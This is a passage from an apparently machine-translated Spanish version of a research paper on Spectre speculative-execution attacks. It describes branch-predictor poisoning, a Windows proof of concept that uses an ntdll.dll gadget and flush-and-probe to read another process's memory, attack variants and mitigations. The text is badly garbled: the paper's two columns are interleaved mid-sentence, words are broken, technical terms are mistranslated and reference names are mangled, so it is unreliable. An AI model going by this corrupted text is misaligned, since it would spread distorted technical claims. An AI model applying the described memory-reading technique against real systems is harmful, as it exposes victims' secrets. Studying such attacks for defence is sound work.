recientemente) LRU, se utilizaron dos índices, donde el segundo perdía la primera
de varias operaciones. El parámetro de longitud (por ejemplo, [ ebp-0xE0] en el
desmontaje) tiene que ser desalojado también. A pesar de que su dirección es
conocida un-, pero sólo hay 64 posibles desplazamientos de 64 bytes rel ativa al
límite de 4096 bytes, por lo que los 64 fueron juzgados posibilidades para hallar el
que funciona.
JavaScript no proporciona acceso a la rdtscp ins- trucción, y Chrome degrada
intencionalmente La exactitud de orientación de su temporizador de alta
resolución para disuadir temporización en- tachuelas usando performance.now () [ 1].
Sin embargo, la característica de Trabajadores de Web HTML5 hace que sea fácil
de CRE comió un hilo separado que disminuye repetidamente un valor en una
posición de memoria compartida [18, 32]. Este enfoque
Si la determinación de la dirección de destino se de- organizada debido a un
fallo de caché y el predictor de saltos ha sido mistrained con destinos
ad- versario. Como resultado, la ejecución especulativa puede rected misdi- a
lugares que nunca se le ocurrirían durante la ejecución del programa de imate
legit-. Si la ejecución especulativa puede dejar efectos secundarios
mensurables, esto es extremadamente Power-ful para los atacantes, por
ejemplo, la exposición de la memoria víctima, incluso en ausencia de un error
de predicción de bifurcación condicional explotable.
Consideremos el caso en que un atacante tratando de leer la memoria de
la víctima controla los valores de dos registros (denotado R1 y R2) cuando se
produce una rama indirecta. Este es un escenario común; funciones que
manipulan los datos recibidos externamente rutinariamente hacen llamadas a
funciones, mientras que los registros contienen valores que un atacante puede
con- trol. (A menudo estos valores son ignorados por la función; los registros
son empujados en la pila en el comienzo de la función llamada y restaurados al
final.)

7
 Suponiendo que la CPU límites ejecución especulativa de instrucciones predictor para crear una entrada cuya fi temente ics mim- suf la historia de
ejecutables en la memoria de la víctima, el adversario a continuación, tiene la víctima previo a la rama de destino, y cuyo destino es la predicción de
que encontrar un 'aparato', cuya ejecución especulativa perderá memoria la dirección virtual del gadget.
elegido. Por ejemplo, un un aparato tal estaría formado por dos instrucciones Se observaron varias de hardware y del sistema operativo correspondiente
(que no necesariamente necesitan ser adyacentes) donde la primera añade (o opciones implemen- tación, incluyendo:
XORs, resta, etc.) la memoria PAR- TICULARES abordado por R1 en registro
• ejecución especulativa se observó sólo cuando la dirección de destino
R2, seguido de cualquier instrucción que tiene acceso a la memoria en la
del salto era ejecutable por el hilo de la víctima, por lo aparatos tiene
dirección en R2. En este caso, el aparato proporciona el control atacante (a
que estar presente en las regiones memo- ria ejecutables por la víctima.
través de R1) sobre las que la dirección a la fuga y el control (a través de R2)
sobre cómo la memoria perdida se asigna a una dirección que consigue leído
por la segunda instrucción. (El ejemplo tación aplica- en Windows describe
• Cuando múltiples aplicaciones de Windows comparten la misma DLL,
con más detalle un ejemplo proceso de lectura de memoria utilizando un
normalmente se carga una sola copia y (excepto para las páginas que son
aparato tal.)
modi fi como se describe a continuación) se asigna a la misma dirección
virtual para todos los procesos que utilizan la DLL. Aunque sea por un muy
simple aplicación de Windows, las páginas DLL ejecutables en el conjunto de
Numerosos otros escenarios de explotación son posibles,
traba- jando incluyen varios megabytes de código ejecutable, lo que
dependiendo del estado en que se conoce o controlado por el
proporciona un amplio espacio para buscar aparatos.
adversario, donde la información buscada por reside el adversario (por
ejemplo, registros, pila, memoria, etc.), la capacidad del adversario para
controlar especulativa ejecución, qué instrucción secuencias están • Por tanto historymatching y las predicciones, el predictor de saltos
disponibles para formar aparatos, y qué canales puede filtrarse sólo aparece a prestar atención a la rama direcciones virtuales desti-
información de opera- ciones especulativas. Por ejemplo, una función no. La dirección de origen de la instrucción de realizar el salto,
criptográfica que re- convierte un valor secreto en un registro puede direcciones físicas, el tiempo y el ID del proceso no parece importar.
llegar a ser explotable si el atacante simplemente puede inducir
ejecución especulativa en una instrucción que trae a la memoria caché
• El algoritmo que rastrea y partidos saltan histología Ries aparece para
en la dirección especificada en el registro. Del mismo modo, aunque el
utilizar sólo los bajos bits de la dirección virtual (que se reducen aún
ejemplo anterior se supone que el atacante controla dos registros (R1 y
más por función hash simple). Como resultado, un adversario hace no tienen
R2), atacante el control de un solo ister REG, el valor en la pila,
que ser capaces de incluso ejecutar código en cualquiera de las
direcciones de memoria que contienen instrucción de salto de la víctima.
ASLR también puede ser compensada, ya bits superiores se ignoran y
los bits 15..0 no parecen ser aleatorios con ASLR en Win32 o Win64.
En muchos sentidos, la explotación es similar a la programación orientada
Regresar- (ROP), excepto que el software escrito correctamente- es vulnerable,
aparatos están limitadas en su duración, pero no tienen por qué terminan de forma
inadecuada (ya que el CPUwill finalmente reconocer el error especulativa), y
• El predictor de saltos aprende de saltos a destinos ilegales. A pesar de
aparatos deben datos infiltrado ex a través de canales laterales, más que de forma
que una excepción se activa en el proceso del atacante, esto puede ser
explícita. Aún así, la ejecución especulativa puede realizar secuencias complejas
capturado fácilmente (por ejemplo, utilizando trata de atraparlo en C ++).
com- de instrucciones, incluyendo la lectura de la pila, la realización de la
El predictor de saltos a continuación, hacer predicciones que envían otro procesos
aritmética, de ramificación (incluyendo varias veces), y la memoria de lectura.
al destino ilegal.

• no se observaron efectos Mistraining a través de CPUs, lo que sugiere que los

predictores de la ramificación en cada CPU oper- comió independientemente.

5.1 Discusión

Pruebas, sobre todo en una superficie Pro basados ​en Haswell 3, con fi rmaron que
• código DLL y regiones constantes de datos pueden ser leídos y
el código que se ejecuta en una hiper-hilo de procesadores Intel x86 puede mistrain
clflush 'Ed por cualquier proceso mediante el DLL, haciéndolos conveniente
el predictor de saltos de código que se ejecuta en la misma CPU de una manera
para su uso como áreas de tabla en fl ataques sonda Ushuaia-y-.
diferente hiper-hilo. Las pruebas en Skylake indicaron adicionalmente rama
mistraining historia entre procesos en el mismo CPU virtual (que probablemente se
produce en Haswell también). • regiones DLL pueden ser escritos por las aplicaciones. Se utiliza un mecanismo de

contra copia en escritura, por lo que estos cationes modificadores son accesibles

El predictor de saltos mantiene una caché que se asigna a las solamente con el proceso que realiza el catión modificado. Aún así, la formación mis-

historias de salto a salto destinos previstos, por lo mistraining cessful predictor de saltos esta simpli fi ca porque esto permite que aparatos para regresar

Suc requiere convencer a la pre-rama limpiamente

8
 durante mistraining, independientemente de lo que las instrucciones siguen el ejecución especulativa de este gadget con attacker- controlada EBX y edi
gadget. permite a un adversario para leer la memoria de la víctima. Si el
adversario elige EBX =
Aunque la prueba se realizó con aplica- ciones de 32 bits en Windows 8, los
metro - 0x13BE13BD - EDX, dónde EDX = 3 para el programa de ejemplo (como se
modos de 64 bits y otras versiones de Windows y Linux bibliotecas compartidas son
determina mediante la ejecución en un depurador), la instrucción primera lee el valor
propensos a trabajar de manera similar. las pruebas en modo kernel no se ha
de 32 bits de dirección metro y añade esto a edi. ( En la víctima, el AG de transporte
realizado, pero la combinación de dirección de truncamiento / hash en el ajuste de la
fl pasa a ser clara, por lo que no se añade ningún equipaje adicional.) Desde edi
historia y la capacidad de formación a través de saltos a tinations des- ilegales
sugieren que los ataques contra el modo de núcleo puede ser posible. El efecto
También está controlado por el atacante, ejecución especulativa de la
sobre otros tipos de saltos, como terrupts de entrada y de interrumpir las
segunda instrucción va a leer (y traer a la memoria caché) de la memoria
devoluciones, también se desconoce.
cuya dirección es la suma del valor de 32 bits cargado de dirección metro y
el atacante-elegido
edi. Por lo tanto, el atacante puede asignar el 2 32 Los valores posibles de memoria
5.2 Ejemplo de Aplicación en Windows en regiones más pequeñas, que luego pueden ser analizados a través de
ras-y-sonda para resolver bytes de memoria. Por ejem- plo, si los bytes en m + 2 y m
Como prueba de concepto-, un sencillo programa estaba escrito que genera una
+ 3 son conocidos, el valor en edi puede cancelar su contribución y el mapa de la
clave aleatoria y luego hace un bucle en el finito que llama Sueño (0), cargas los
segunda lectura a una región de 64 KB, que se puede probar fácilmente a través
primeros bytes de un fi le (por ejemplo, como una cabecera), las llamadas funciones
de-y-sonda ras fl.
de cifrado de Windows para com- PUTE el hash SHA-1 de (tecla || cabecera), e
imprime el hash cada vez que cambia de cabecera. Cuando este programa se
La operación elegido para mistraining rama fue la primera instrucción de
compila con la optimización, la llamada a Dormir() y se enviaran con los datos
la Dormir() función, que es un salto de la forma “ JMP PTR DWORD ds:
contenidos en los registros fi l EBX y edi. se tomó ningún esfuerzo espe- cial para
[76AE0078h] ”(Donde tanto la ubicación del destino de salto y el destino en sí
hacer esto; como se señaló anteriormente, las llamadas ción fun- con valores
cambian por arranque debido a un ASLR). Esta instrucción de salto fue
adversario-elegido en los registros son comunes, aunque la especificidad cs (tales
elegido porque parecía que el proceso de ataque podría clflush la dirección
como qué valores pera AP- en el que se registra) a menudo determinado por
de destino, al- aunque (como se señala más adelante) esto no funcionó.
optimizaciones Piler com- y culto fi por lo tanto dif de predecir a partir de código
Además, a diferencia de una instrucción de retorno, no hubo ciones opera-
fuente. El programa de prueba no incluyó ninguna operación ushing miem- ORY fl u
adyacentes podrían un-desalojar a la dirección de retorno (por ejemplo,
otras adaptaciones para ayudar al atacante.
mediante el acceso a la pila) y limitar la ejecución especulativa.

Con el fin de conseguir que la víctima para ejecutar especulativamente el

El primer paso era identificar un aparato que, cuando especulativamente
dispositivo, la ubicación de memoria que contiene el salto DES- tiene que ser
ejecutado con valores adversario controlado para EBX y EDI, revelaría la memoria
almacenado en caché, y las necesidades predictor de saltos se mistrained para
atacante-elegido en el proceso de víctima. Como se señaló anteriormente, este
enviar ejecución especulativa al gadget. Esto se logró de la siguiente manera:
dispositivo debe estar en una página ejecutable dentro del conjunto de trabajo del
proceso de víctima. (En Windows, algunas páginas en archivos DLL son mapeados
en el espacio de direcciones, sino que requieren un fallo de página suave antes de
pasar a formar parte del conjunto de trabajo.) Un programa PLE sim- estaba escrito • las operaciones de puntero simples se utilizan para localizar el salto
que guarda sus propias páginas del espacio de trabajo, que son en gran medida indirecto en el punto de entrada para Dormir() y la ubicación de
representativa de la conjunto de trabajo contenidos comunes a todas las memoria que sostiene el destino del salto.
aplicaciones. a continuación, esta salida se buscó aparatos posibles, produciendo
múltiples opciones capaces de US- EBX y EDI ( así como para otros pares de
registros). De éstos, la siguiente secuencia de bytes que aparece en ntdll.dll tanto • Una búsqueda de ntdll.dll en la RAM se llevó a cabo para hallar el
en Windows 8 y Windows 10 era (en lugar arbitrariamente) elegido dispositivo, y algo de memoria compartida DLL fue elegido para
realizar detecciones fl ush-y-Probe.

• Para prepararse para mistraining predictor de saltos, la página de

memoria que contiene el destino para el destino de salto se hizo
13 BC 13 BD 13 BE 13 12 17 grabable (a través de copia en escritura) y modificados con el fin
cambiar el destino de salto a la dirección de gadget. Utilizando el mismo
método, una ret 4
el cual, cuando es ejecutado, se corresponde con las siguientes ins- trucciones:
instrucciones ha sido redactado en el lugar de la get gad-. Estos
cambios pero no afectan a la memoria visto por la víctima (que se
edi adc, ptr dword [ebx + edx + 13BE13BDh] dl adc, ptr byte ejecuta en un proceso independiente), pero lo hace de manera que las
[edi] llamadas del atacante

9
 Dormir() saltará a la dirección de dispositivo (mistrain- ing del predictor de
saltos) a continuación, volver inmediatamente.
• Un hilo separado se puso en marcha para desalojar repetidamente
dirección de memoria de la víctima que contiene el destino del salto. (A
pesar de que la memoria que contiene el destino tiene la misma dirección
virtual para la grapadora en- y la víctima, que parecen tener memoria
diferentes ical phys- - quizás debido a una copia con escritura en antes.) El
desalojo se realizó utilizando el mismo método general como el ejemplo
JavaScript, es decir, mediante la asignación de una mesa grande y con un
par de índices para leer vestidos ad-a múltiplos de 4096 bytes de la
dirección de desalojar.
• Hilo (s) se pusieron en marcha a mistrain dictor la rama pre. Estos
utilizan una 2 20 byte (1 MB) ejecutable miem- fi ORY región llena de
bytes 0xC3 ( retirado instrucciones. El patrón de la víctima del destino del
salto se asigna a las direcciones en esta zona, con un ajuste por ASLR
encontró durante un proceso de formación inicial (véase más adelante).
Los hilos mistraining ejecutan un bucle que empuja las direcciones
asignadas en la pila de tal manera que un iniciador retirado Resultados de
instrucciones en el procesador que realizan una serie de instrucciones de
devolución en la región memo- ria, luego se ramifica a la dirección de
aparato, entonces (a causa de la retirado colocado allí) volver
inmediatamente vuelve al bucle. Para fomentar hyperthreading de la
rosca mistraining y la víctima, el desalojo y los hilos de sondeo puesto su
CPU fi nidad de compartir un núcleo (que mantienen ocupado), dejando a
la víctima y mistraining hilos para compartir el resto de los núcleos.
• Durante la fase inicial de conseguir la rama predicción tor mistraining de
trabajo, la víctima se suministra con una entrada que, cuando la víctima
llamadas Sleep (), [ebx +
3 h + 13 SER 13 BDH] leerá un lugar DLL se conoce y cuyo valor edi se
elige de manera que la operación ond sec- apuntará a otra
ubicación que se puede controlar fácilmente. Con estos ajustes, la
secuencia de entrenamiento rama se ajusta para compensar
ASLR de la víctima.
• Por último, una vez que se encuentra una secuencia de salto mímica eficaz,
el atacante puede leer a través del espacio vestido de Ad- de la víctima para
localizar y leer las regiones de datos víctima para localizar valores (que
pueden moverse debido a ASLR) por con- arrastre los valores de EBX y edi y
el uso de fl ush- y-sonda en la región DLL seleccionado anteriormente. El
ataque completado permite la lectura de la memoria del proceso víctima.
6 Variaciones
ataques Hasta ahora hemos demostrado que los cambios de apalancamiento en el estado
de la memoria caché que se producen durante espec-
10
ulative ejecución. futuros procesadores (o procesadores existentes con diferente
microcódigo) pueden comportarse de manera diferente,
por ejemplo, si se toman medidas para evitar especulativamente ex- código
ecuted de modificar el estado de caché. En esto
sección examinamos las posibles variantes del ataque, in- cluyendo la forma
de ejecución especulativa podría afectar el estado de otros componentes de
la microarquitectura. En general, el ataque Espectro se puede combinar con
otros ataques tectural microarchi-. En esta sección exploramos posibles
combinaciones y concluimos que prácticamente cualquier fect EF-observable
de código especulativamente ejecutado potencialmente puede dar lugar a
fugas de información sensible. Aunque las siguientes técnicas no son
necesarios para los procesadores probados (y no se han aplicado), es
esencial para entender las posibles variaciones en el diseño o la evaluación
de ciones mitiga-.
Desalojar a + Tiempo. El ataque Expulsar + Tiempo [29] funciona mediante la
medir el tiempo de las operaciones que dependen del estado de la memoria
caché. Esta técnica se puede adaptar para utilizar Spectre como sigue.
Considere el código:
si (falsos pero mispredicts como verdadero)
leer array1 [R1] leer [R2]
Supongamos registro R1 contiene un valor secreto. Si la memoria
especulativamente ejecutado leer de array1 [R1] es un acierto de caché, entonces
nada va a ir en el bus de la memoria y la lectura de [ R2] iniciará rápidamente. Si la
lectura de array1 [R1] es un fallo de caché, entonces la segunda lectura puede
llevar más tiempo, resultando en diferentes momentos para el Vic- tim hilo.
Además, otros componentes en el sistema que puede acceder a la memoria (tales
como otros procesadores) pueden ser capaces de la presencia de la actividad en el
bus de memoria o de otros efectos de la memoria de lectura (por ejemplo,
cambiando la dirección de fila DRAM seleccionar). Observamos que este ataque, a
diferencia de los que hemos puesto en marcha, podría funcionar incluso si la
ejecución especulativa no modifica el contenido de la caché. Todo lo que se
requiere es que el estado de la memoria caché AF efec- la sincronización de
código especulativamente ejecutado o alguna otra propiedad que en última
instancia se convierte es visible para el atacante.
El tiempo de instrucción. vulnerabilidades Specter no nece- sariamente
necesitan involucrar cachés. Instrucciones de cuyos ing TIMING depende de
los valores de los operandos pueden tener fugas formación in- en los
operandos [8]. En el siguiente ejemplo, el multiplicador es ocupado por la
ejecución especulativa de multiplican R1, R2. El momento en que cuando el
multiplicador esté disponible para multiplican R3, R4 ( ya sea para la ejecución
fuera de orden o después de que se reconoció la predicción errónea) podría ser
afectada por la temporización de la primera multiplicación, revelar información
acerca de R1 y R2.
si (falsos pero mispredicts como verdadero)
 multiplican R1, R2
multiplican R3, R4
Contención en el registro del archivo. Supongamos que la CPU tiene un registro fi l
con un número finito de registros disponibles para el almacenamiento de los
puestos de control para la ejecución especulativa. En el siguiente ejemplo, si condición
en R1 en el segundo 'si' es cierto, entonces un punto de check- ejecución
especulativa extra se produce que si condición en R1 Es falso. Si un adversario
puede detectar este punto de control, por ejemplo, si espec- la ejecución de código
en ulative hyperthreads se reduce debido a la escasez de almacenamiento, esto
revela información acerca de
R1.
si (falsos pero mispredicts como verdadero)
si (condición en R1)
si (condición)
Las variaciones en la ejecución especulativa. Incluso código que no contiene
saltos condicionales puede ser potencialmente en riesgo. Por ejemplo,
consideremos el caso en que un atacante desea determinar si R1 contiene un
valor attacker- elegido X o algún otro valor. (La capacidad de hacer tales
determinaciones es su fi ciente para romper algunas implementaciones
criptográficas.) El atacante mistrains el predictor de ramificación de tal manera
que, después de que ocurre una interrupción, y las mispredicts de retorno de
interrupción a una instrucción que lee la memoria [ R1]. El atacante elige X para
responder a cor- una dirección de memoria adecuada para Flush + Actualizar,
revelando si = R1 X.
Aprovechando efectos observables arbitrarias. Prácticamente cualquier efecto
observable de código especulativamente ejecutado se puede aprovechar para filtrar
información sensible.
Considere el ejemplo de la Lista 1, donde la operación después de que el
acceso a la array1 / matriz2 es observable cuando se ejecuta
especulativamente. En este caso, el momento de cuándo comienza la
operación observable dependerá del estado de caché matriz2.
si (x <array1_size) {
y = array2 [array1 [x] * 256]; // hacer algo mediante Y que es
observable // cuando se ejecuta especulativamente}
7 opciones de mitigación
La vulnerabilidad de bifurcación condicional puede mitigarse si la ejecución
especulativa se puede detener en potentially- rutas de ejecución sensibles. En
los procesadores x86 de Intel, “instrucciones rializing Se-” parecen hacer esto
en la práctica, al-aunque su comportamiento garantizada arquitectónicamente
es “limitar la ejecución especulativa porque los resultados de las instrucciones
ejecutadas especulativamente se descartan” [4].
11
Esto es diferente de garantizar que la ejecución especulativa no ocurrirá o filtrar
información. Como resultado, las instrucciones ción serializa- pueden no ser una
contramedida eficaz en todos los procesadores o con fi guraciones del sistema.
Además, de las tres instrucciones de números de serie en modo de usuario
enumerados por Intel, sólo se cpuid Se puede utilizar en código normal, y se de-
stroys muchos registros. los mfence y lfence ( pero no
sfence) instrucciones también parecen funcionar, con el añadido beneficio que no
destruyen el contenido del registro. Su comportamiento con respecto a la ejecución
especulativa no es de- fi nida, sin embargo, por lo que puede que no funcione en
todas las CPUs o Systematic TEM con fi guración. 1 Las pruebas en las CPU no es de
Intel no se ha realizado. Mientras que los retrasos simples teóricamente podrían
trabajar, ellos tendrían que ser muy largo ya que la ejecución especulativa se
extiende de forma rutinaria cerca de 200 instrucciones antes de un fallo de caché, y
mucho se puede producir mayores distancias.
El problema de la inserción de ejecución especulativa por bloques ing
instrucciones es un reto. A pesar de que un compilador puede insertar
fácilmente tales instrucciones integral ( es decir, por lo tanto la instrucción que
sigue a cada rama condicional y su destino), esto podría afectar seriamente al
rendimiento. técnicas de análisis estáticos podrían ser capaces de eliminar
algunas de estas comprobaciones. La inserción en rutinas críticos seguridad-
por sí sola no es su fi ciente, ya que la vulnerabilidad se puede aprovechar el
código de seguridad no-crítica en el mismo proceso. Además, el código debe
volver a compilar, presentar grandes desafíos prácticos para aplica- ciones de
legado.
envenenamiento por rama indirecta es aún más difícil de mitigar en el
software. Podría ser posible desactivar el hyperthreading y el estado de
predicción de saltos USH fl durante cambios de contexto, aunque no parece
haber ningún método de fi nida arquitectónicamente-de para hacer esto [14].
Esto también no puede hacer frente a todos los casos, como cambiar()
declaraciones en las entradas a uno de los casos pueden ser peligrosos en otro.
(Esta situación es probable que ocurra en los intérpretes y analizadores).
Además, la aplicabilidad de ejecución especulativa siguiente otras formas de
saltos, tales como los implicados en manejo de interrupciones, también son
actualmente desconocido y tienden a variar entre procesadores.
La practicidad de equis microcódigo Fi para Sors procesiones existentes es
también desconocido. Es posible que un parche podría dis- ejecución especulativa
capaz de prevenir o miem- especulativa ORY lee, pero esto traería una reducción
del rendimiento significativo. Amortiguando las acciones iniciadas memoria
especulativamente-trans por separado de la memoria caché hasta que se confirma
la ejecución especulativa no es una contramedida su fi ciente, ya que el tiempo de
ejecución especulativa también puede revelar información. Por ejemplo, si la
ejecución especulativa utiliza un valor sensible para formar la dirección para una
lectura de memoria,
1 Después de revisar un borrador inicial de este trabajo, los ingenieros de Intel in- dicated que
la definición de lfence será revisada para especificar que bloquea la ejecución especulativa.
el estado de caché de lectura que afectará a la fecha de la próxima operación
especulativa. Si el tiempo de funciona- miento que se puede inferir, por ejemplo,
porque afecta a un recurso tal como un bus o ALU utilizado por otros hilos, la
memo- ria se vea comprometida. En términos más generales, las medidas
posibles contramedidas limitadas a la memoria caché es probable que sean insu
fi ciente, ya que hay otras maneras de que la ejecución especulativa puede filtrar
información. Por ejemplo, el momento de efec- tos de contención del bus de
memoria, DRAM dirección de fila estado de selección, disponibilidad de registros
virtuales, ALU tividad AC, y el estado del predictor de saltos en sí deben ser
considerados. Por supuesto, la ejecución especulativa también afectará canales
laterales convencionales, tales como el poder y la EM.
Como resultado, cualquier software o microcódigo countermea- seguro intentos
deben ser vistos como medidas provisionales en espera de más investigaciones.
8 Conclusiones y trabajo futuro
técnicas de aislamiento de software están muy ampliamente de- pleados bajo una
variedad de nombres, incluyendo ING sandbox-, la separación de procesos,
contenedores, seguridad de memoria, código de prueba de carga. Un supuesto la
seguridad fundamental que sustenta todo esto es que la CPU fielmente software,
incluyendo sus controles de seguridad. la ejecución especulativa por desgracia
viola este supuesto en formas que permiten a los adversarios a violar el secreto
(pero no la integridad) de la memoria y el contenido del registro. Como resul- tado,
una amplia gama de enfoques de aislamiento de software son impactados.
Además, las contramedidas existentes para almacenar en caché los ataques
durante las implementaciones criptográficas consideran solamente las
instrucciones de 'oficialmente' ejecutados, no los efectos debidos a la ejecución
especulativa, y están también afectados.
La viabilidad de la explotación depende de una serie de factores, incluyendo los
aspectos de la CPU víctima y soft- ware y la capacidad del adversario para
interactuar con la víctima. Mientras que los ataques basados ​en la red son
concebibles, situaciones donde un atacante puede ejecutar código en la misma CPU
como la víctima plantean el riesgo primario. En estos casos, explota- ción puede ser
sencillo, mientras que otros ataques pueden depen- derá en minucias tales como
opciones elegidas por el compilador de la víctima en la asignación de registros y la
memoria. herramientas de fuzzing probabilidades pueden ser adaptados por los
adversarios a fi nd habilidades vulnerabilidad en el software actual.
Como el ataque implica efectos hard- ware actualmente indocumentados,
explotabilidad de un programa de software determinado puede variar entre los
procesadores. Por ejemplo, algunas pruebas del cambio de dirección de rama
indirecta trabajaron en Skylake pero no en Haswell. AMD afirma que sus
procesadores Ryzen tienen “una red neuronal de inteligencia arti fi cial que aprende
a prede- cir qué vía una aplicación futura se toman sobre la base de carreras
pasadas” [3, 5], lo que implica incluso el comportamiento ulative espec- más
complejo. Como resultado, mientras que el paliativo Con-
12
termeasures descritos en la sección anterior puede ayudar a limitar hazañas
prácticos en el corto plazo, actualmente no hay manera de saber si una
construcción código particular es, o no es, seguro a través de los procesadores
de hoy en día - mucho menos futuros diseños.
Una gran cantidad de trabajo por delante. la seguridad del software depende
fundamentalmente de tener una clara com- prensión común entre los
desarrolladores de software y hardware en cuanto a qué información de la CPU
son puestas en práctica (y no son) permite exponer de cómputos. Como resul-
tado, las soluciones a largo plazo, será necesario que se actualicen las
arquitecturas del conjunto de instrucciones para incluir una orientación clara
acerca de las propiedades de seguridad del procesador, y la CPU imple- tendrá
que ser actualizado para cumplir mentaciones.
En términos más generales, hay un equilibrio entre la seguridad y el rendimiento.
Las vulnerabilidades en este documento, así como muchos otros, se derivan de un
enfoque de muchos años en la industria de la tecnología en maximizar el
rendimiento. Como resultado, los procesadores, los compiladores, controladores de
dispositivos, sistemas operativos, y numerosos otros componentes críticos han
evolucionado capas de composición de optimizaciones complejas que introducen
riesgos de seguridad. A medida que los costos de la subida inseguridad, estas
opciones de diseño deben ser revisados, y en muchos casos se requerirá
implementaciones alternativas optimizados para la se- guridad.
9 Agradecimientos
Este trabajo se superpone parcialmente con el trabajo independiente por parte de Google
Project Zero.
Nos gustaría dar las gracias a Intel para su manipu- manipulan de profesional de
este tema a través de una línea de comunicación clara y tiempo- que conecta todos los
investigadores implicados. También queremos dar las gracias a ARM, Qualcomm y
otros proveedores por su rápida respuesta a la divulgación de la cuestión.
Daniel Gruss, Moritz Lipp, Stefan Mangard y Michael Schwarz
fueron apoyados por el Consejo Europeo Re (ERC) busca bajo hori-
zon 2020 (acuerdo de subvención n 681402) programa de
investigación y de innovación de la Unión Europea.
Daniel Genkin fue apoyado por NSF premios
# 1514261 y # 1652259, premio de asistencia fi nanciera
70NANB15H328 del Departamento de Com- merce, Instituto Nacional
de Estándares y tec- nología, la 2017-2018 Rothschild beca
posdoctoral, y la Agencia de Investigación de Proyectos Avanzados de
Defensa (DARPA) bajo el contrato # FA8650- 16-C-7622.
referencias
[1] Seguridad: Chrome proporciona temporizadores de alta resolución que permiten
ataques de canal lateral de caché. https://bugs.chromium.org/p/ de cromo / temas /
detalle? id = 508166.
[2] Manual de Cortex-A9 de referencia técnica, r4p1 Revisión, Sección
11.4.1, 2012.
 [3] AMD lleva el cómputo de un nuevo horizonte con procesadores Ryzen,
2016. https://www.amd.com/en-us/press-releases/ Páginas /
AMD-takes-computing-2016dec13.aspx.
[4] Intel 64 y manual desarrollador de software arquitecturas-32 IA, vol
3: Guía del programador del sistema, sección 8.3, 2016. [5] La tecnología AMD
SenseMI - predicción de red neural. promocional
entrevista en video con Robert Hallock de AMD, 2017. https:
//www.youtube.com/watch?v=uZRih6APtiQ.
[6] Un CIIC ¸ MEZ, O., G UERON, S., Y S Eifert, J.-P. Las nuevas vulnerabilidades en
OpenSSL predicción de saltos y contramedidas software necesario. En 11ª Conferencia
Internacional IMA en tografía Cryp- y Codificación ( De diciembre de 2007), SD
Galbraith, Ed., Vol. 4887 de Lecture Notes in Computer Science, Springer, Heidelberg,
pp. 185-203. [7] A CIIC ¸ MEZ, O., K OC ¸, C ETIN K AYA., Y S Eifert, J.-P. Pre dicting claves
secretas a través de la predicción de saltos. En Temas en la criptología
- CT-RSA 2007 ( Feb. 2007), M. Abe, Ed., Vol. 4377 de Lecture Notes in Computer
Science, Springer, Heidelberg, pp. 225-242. [8] Un NDRYSCO, M., K OHLBRENNER, D., M
OWERY, K., J HALA,
R., L Erner, S., Y S Hacham, H. En subnormales punto flotante y la sincronización
anormal. En 2015 Simposio IEEE sobre Seguridad y Privacidad ( De mayo de 2015),
IEEE Computer Society Press, pp. 623-
639.
[9] B ERNSTEIN, ataques a AES DJ Cache-sincronización. http:
//cr.yp.to/papers.html#cachetiming, 2005.
[10] B HATTACHARYA, S., M AURICE, C., Y B Hasin, S HIVAM
ABD M UKHOPADHYAY, RE. ataque de plantilla en ciego
multiplicación escalar con llamadas ioctl-perf asíncronos. logía Cryp- ePrint Archivo,
Informe 2017/968, 2017.
eprint.iacr.org/2017/968.
[11] E VTYUSHKIN, D., P ONOMAREV, DV, Y UN BU
GRAMO HAZALEH, nótese bien Saltar por encima de ASLR: Rama de atacar
predictores para eludir ASLR. En MICRO ( 2016), IEEE Computer Society, pp. 1-13.
[12] F OGH, A. Resultado negativo: La lectura de la memoria del núcleo desde el
modo de usuario, 2017. https://cyber.wtf/2017/07/28/negativeresult-reading-kernel-memory-from-user-mode/.
[13] G MI, Q., Y amplitud del movimiento activo, Y., C OCK, D., Y H EISER, G. Una encuesta de
ataques puntuales microarquitectura y las contramedidas en el hardware temporal con-. J.
criptográfico Ingeniería ( 2016).
[14] G MI, Q., Y amplitud del movimiento activo, Y., Y H EISER, G. Su procesador fugas de información - y
no hay nada que pueda hacer al respecto. Corr abs / 1612.04474 ( 2017).
[15] G Enkin, D., P ACHMANOV, L., P IPMAN, I., S Hamir, A., Y
T ROMER, E. ataques de extracción tecla física del PC. Commun. ACM 59, 6 (2016),
70-79. [16] G Enkin, D., P ACHMANOV, L., P IPMAN, I., T ROMER, E., Y
Y amplitud del movimiento activo, Y. ECDSA extracción clave de los dispositivos móviles a través de los
canales secundarios físicos no intrusivos. En Conferencia ACM sobre
Informática y Comunicaciones de Seguridad CCS 2016 ( Oct. 2016), pp. 1626-1638.
[17] G Enkin, D., S Hamir, A., Y T ROMER, ex- tracción clave RSA E. través de
criptoanálisis acústico bajo ancho de banda. En CRYPTO 2014
(2014), Springer, pp. 444-461 (Vol. 1). [18] G RAS, B., R Azavi, K., B Osman, E., B
OS, H., Y G UITA
FRIDA, C. ASLR en la línea: ataques de caché prácticos sobre la MMU, 2017. http://www.cs.vu.nl/~giuffrida/papers/
ANC-ndss-2017.pdf.
[19] G RUSS, D., L IPP, M., S CHWARZ, M., F Ellner, R., M AU
ARROZ, C., Y M ANGARD, S. KASLR is Dead: Viva KASLR.
En Simposio Internacional sobre Ingeniería de Software y Sistemas de
Seguridad ( 2017), Springer, pp. 161-176.
[20] G RUSS, D., S PREITZER, R., Y M ANGARD, S. Cache ataques placa tem-: Automatización
de los ataques a las memorias caché de nivel última incluido. En USENIX Simposio de
Seguridad ( 2015), USENIX Asociación, pp. 897-912. [21] G ULLASCH, D., B ANGERTER, E.,
Y K RENN, juegos S. Cache - con lo que los ataques de caché basados ​en el acceso de
AES a la práctica. En 2011 Simposio IEEE sobre Seguridad y Privacidad ( Mayo 2011),
IEEE Computer Society Press, pp. 490-505. [22] K IM, Y., D ALY, R., K IM, J., F ALLIN, C., L
EE, JH, L EE,
D., W ILKERSON, C., L AI, K., Y M UTLU, O. Dar la vuelta-
los bits de ping en la memoria sin acceder a ellos: Un estudio tal experimentación de
errores de perturbación DRAM, 2014. https: //
users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf.
[23] K ocre, P., J de AFFE, J., Y J ONU, B. Diferencial análi- sis de energía. En CRYPTO
1999 ( 1999), Springer, pp. 388-397.
[24] K ocre, P., J de AFFE, J., J ONU, B., Y R OHATGI, ción P. introducción al diferencial de
análisis de potencia. Journal of criptográfico En- gineering 1, 1 (2011), 5-27. [25] K
ocre, ataques de temporización de PC en implementaciones de di fi e- Hellman, RSA,
DSS, y otros sistemas.
En CRYPTO 1996
(1996), Springer, pp. 104-113. [26] L EE, S., S HIH, M., G ERA, P., K IM, T., K IM, H.,
Y
P EINADO, M. Inferir fi de control de grano fino flujo dentro SGX enclaves con
